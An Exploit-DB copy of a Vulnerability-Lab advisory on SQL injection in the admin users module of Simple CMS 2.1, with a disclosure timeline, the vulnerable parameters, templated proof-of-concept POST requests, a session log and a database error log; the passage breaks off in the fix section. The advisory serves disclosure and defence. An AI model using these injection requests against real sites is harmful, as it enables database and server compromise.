Exploit-DB #50483
Description: Simplephpscripts Simple CMS 2.1 - 'Multiple' SQL Injection
Type: webapps
Platform: php
Date: 2021-11-03
Author: Vulnerability-Lab

Exploit:
# Exploit Title: Simplephpscripts Simple CMS 2.1 - 'Multiple' SQL Injection
# Date: 2021-10-19
# Exploit Author: Vulnerability Lab
# Vendor Homepage: https://simplephpscripts.com/simple-cms-php
# Version: 2.1
# Tested on: Linux

Document Title:
===============
Simplephpscripts Simple CMS v2.1 - SQL Injection


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2303


Release Date:
=============
2021-10-19


Vulnerability Laboratory ID (VL-ID):
====================================
2303


Common Vulnerability Scoring System:
====================================
7.1


Vulnerability Class:
====================
SQL Injection


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
The system could be used only in already existing websites to control their page sections and contents.
Just paste a single line of code on your web page section and start controlling it through the admin area.
Very simple installation - one step installation wizard. Option to include contents into web page sections
through php include, javascript or iframe embed. Any language support. WYSIWYG(text) editor to styling and
format contents of the sections. Suitable for web designers who work with Mobirise, Xara and other web builders.

(Copy of the Homepage: https://simplephpscripts.com/simple-cms-php )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a remote sql-injection web vulnerability in the Simplephpscripts Simple CMS v2.1 web-application.


Affected Product(s):
====================
Simplephpscripts
Product: Simple CMS v2.1 - Content Management System (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2021-09-03: Researcher Notification & Coordination (Security Researcher)
2021-09-04: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-10-19: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Restricted Authentication (Moderator Privileges)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A remote sql-injection vulnerability has been discovered in the official creative zone web-application.
The vulnerability allows remote attackers to inject or execute own sql commands to compromise the dbms
or file system of the application.

The sql-injection web vulnerability is located in the `newUser` and `editUser` function of the `users` module in
the `admin.php` file. Remote attackers with privileged access to the panel are able to add users. If a user account
already exists like for example the admin account, each add of the same name or email values results in a unfiltered
mysql exception. The exception is not filtered and sanitized. Thus allows privileged attackers to inject and execute
own sql commands on the affected database management system to compromise. The request method to inject is post and
the attack vector is non-persistent.

Exploitation of the sql injection vulnerability requires user interaction and a privileged web-application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] newUser
[+] editUser

Vulnerable File(s):
[+] admin.php?act=users

Vulnerable Input(s):
[+] Name
[+] Username
[+] Password

Vulnerable Parameter(s):
[+] name
[+] username
[+] password

Affected Module(s):
[+] Users (act=users) (Backend)


Proof of Concept (PoC):
=======================
The remote sql-injection web vulnerability can be exploited by remote attackers with privileged account and without user interaction.
For security demonstration or to reproduce the sql injection vulnerability follow the provided information and steps below to continue.


PoC: Example
act=addUser&name=[ADD EXISITING DEFAULT VALUE!]&email=test@test.de&username=[ADD EXISITING DEFAULT VALUE!]&password=[ADD EXISITING DEFAULT VALUE!]&submit=Add User


PoC: Exploitation
act=addUser&name=[ADD EXISITING DEFAULT VALUE]-[SQL-INJECTION!]'&email=test@test.de&username=[ADD EXISITING DEFAULT VALUE]-[SQL-INJECTION!]'&password=a-1'&submit=Add User


--- PoC Session Logs (POST) ---
https://simple-cms.localhost:8000/simplecms/admin.php
Host: simple-cms.localhost:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://simple-cms.localhost:8000/simplecms/admin.php?act=newUser
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
Origin: https://simple-cms.localhost:8000
Connection: keep-alive
Cookie: PHPSESSID=9smae9mm1m1misttrp1a2e1p23
act=addUser&name=[ADD EXISITING DEFAULT VALUE]-[SQL-INJECTION!]'&email=test@test.de&username=[ADD EXISITING DEFAULT VALUE]-[SQL-INJECTION!]'&password=[ADD EXISITING DEFAULT VALUE]-[SQL-INJECTION!]'&submit=Add User
-
POST: HTTP/2.0 200 OK
server: Apache
content-length: 1224
content-type: text/html; charset=UTF-8


--- SQL Error Exception Logs ---
Error: SELECT * FROM cms2_users WHERE username='a%20-1'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '%20-1'' at line 1


Solution - Fix & Patch:
=======================
1. Disallow sql-errors to